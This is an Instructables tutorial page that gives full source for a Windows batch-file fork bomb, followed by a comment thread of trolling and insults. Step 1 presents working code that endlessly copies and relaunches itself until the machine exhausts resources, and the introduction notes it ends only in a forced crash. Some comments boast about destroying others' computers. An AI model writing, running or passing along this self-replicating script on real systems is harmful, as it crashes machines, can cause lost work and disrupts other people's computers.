3 Simple Ways to
Share What You Make

With Instructables you can share what you make with the world — and tap into an ever-growing community of creative experts.

PhotosPhotos

Share one or more photos of a project, recipe, or whatever you've made, quickly and easily.

Step by StepStep-By-Step

Share your step-by-step photos with text instructions of what you made so others can do it too!

VideoVideo

Share your how-to video. You'll need your embed code from a video site such as YouTube.

Program a fork bomb! as well as diffusing it

Program a fork bomb! as well as diffusing it
 In this instructable, you will be making a fork bomb. A fork bomb is a batch file that copies itself. The copy will have the same programming and so will make a copy of itself, and the process continues until you've figured out a way to stop the process. Luckily, I've found something that will stop the reaction, but at the expense of restarting the computer using.. well.. the BSOD!!!! (aka. Blue Screen Of Death (the blue error screen?(never mind..))).


Special thanks to: wizerd 745 for the code

If you have a lot of experience in writing codes and stuff like that, this is not recommended because it looks so puny
 
Remove these adsRemove these ads by Signing Up
 

Step 1Programming

Programming

First off, copy this code into notepad:

@echo off
set name=%0
set clone=1
:start
:clone
If not exist clone%clone%.bat (
copy "%name%" "clone%clone%.bat"
) else (
set /a clone=%clone%+1
GoTo clone
)
start %name%
start clone%clone%.bat
GoTo start
pause

Save it into whatever folder you wish. Before saving it though, make sure there is the file extension ".bat" (including period, without quotes) after the file name and save it as "all files".
« Previous StepDownload PDFView All StepsNext Step »
16 comments
Dec 20, 2011. 10:43 AMMr.Science Projects says:
A more easy way to open up Command Prompt is, start->run->cmd->ok.This is a more simpler way of opening up Command Prompt :)
Jul 23, 2010. 5:10 AMmessmaker says:
first of all. i wouldnt be surprised if u didnt actually have a clue what to do with a IP adress if u got one, secondly, you got the code off of someone else, you noob. write ur own codes. it people like u that people like me hate, because you write stuff like your a computer genius, but its actually one of the easiest things to do, write your own code, learn how to hack properly. THEN get back to me. MessMaker.
Aug 13, 2010. 9:29 PMmessmaker says:
other priorities? or, you wouldnt know where to start? and all you understood was the first sentence? your the kind of person that would bluescreen themselves.
Aug 16, 2010. 6:21 AMmessmaker says:
um, i got to the point straight away xD dont reply, just accept it.
Jan 4, 2011. 5:31 AMlanky.ninja says:
Sorry to but in here 'messmaker' but after reading your comments and reading your insctructables, i find myself wondering who are people like you? people who go around claiming to be hackers after opening command prompt and typing "help" or "shutdown /?" or finding a file online. If you can write an 'ble wich includes a script that you wrote yourself, and is more impressive than the fork bomb (it can also make use of an IP adress if you wish) i might consider thinking about who people like you are. OK?
Feb 9, 2011. 6:16 PMmessmaker says:
batch scripts are amazingly easy.
your not a hacker if you can write a batch script.
Aug 11, 2011. 1:58 PMjoel1981ia says:
messmaker, you should drop the end of your name, because that's all you are, a mess (mind you that mess is sometimes used when an alternative word is unacceptable)

you want to bash someone for posting something here that they may not have written but did research to find the info, and i don't have time to look up your petty meaningless instructables, but seriously if you need to come here to flame people then please, GTFO (get the mess out)! and never come back, pretty please?!
Sep 3, 2011. 3:35 PMgrundisimo says:
How old are you joel? 5? 6? No? Then stop acting like you are. I doubt nutsandbolts_64 did any research first of all. It was probably an "OMG I love this! -copy, paste, copy, paste-" moment. And I doubt you could even make an original batch file in the first place. And secondly, I wouldn't screw with messmaker because he and i both could destroy your computer with a single line of text.
Aug 12, 2011. 10:10 AMmessmaker says:
hahaha 30 years old, yet still posting remarkably un thought out comments in which points were null?

cute(:
Aug 22, 2010. 5:54 AMCoolKoon says:
You might want to stop feeding any trolls you might encounter over here. The best way to do it is to ignore him completely. All they try to achieve is to turn any discussion into flaming, fights etc. On the other hand you've got quite a nice 'ible there. I've seen fork bombs for Linux already, but not for Windows. Thanks for pointing it out. You might want to use PNG for the images the next time though as JPG messes up pictures with high contrasts (such as screenshots) pretty badly. Even the resulting file will be much smaller. One more thing: I wonder whether there's a more convenient way to terminate a fork bomb (i.e. without crashing/restarting your PC) that can be used against Windows fork bombs.....
Mar 17, 2011. 7:07 PMmichaeleoni says:
dude this is bad a**

Pro

Get More Out of Instructables

Already have an Account?

close

All Steps Viewing
View all steps of an Instructable on the same page when you're a Pro Member.

Upgrade to Pro today!
16
Followers
17
Author:nutsandbolts_64(The Machine Code)
Electronics enthusiast, gun enthusiast, violinist, linguist, HTML programmer, semi-mathematician, to-be chemical engineer, writer, reserved, preserved, to serve, retro, living in Metro, lifestylist, b...
more »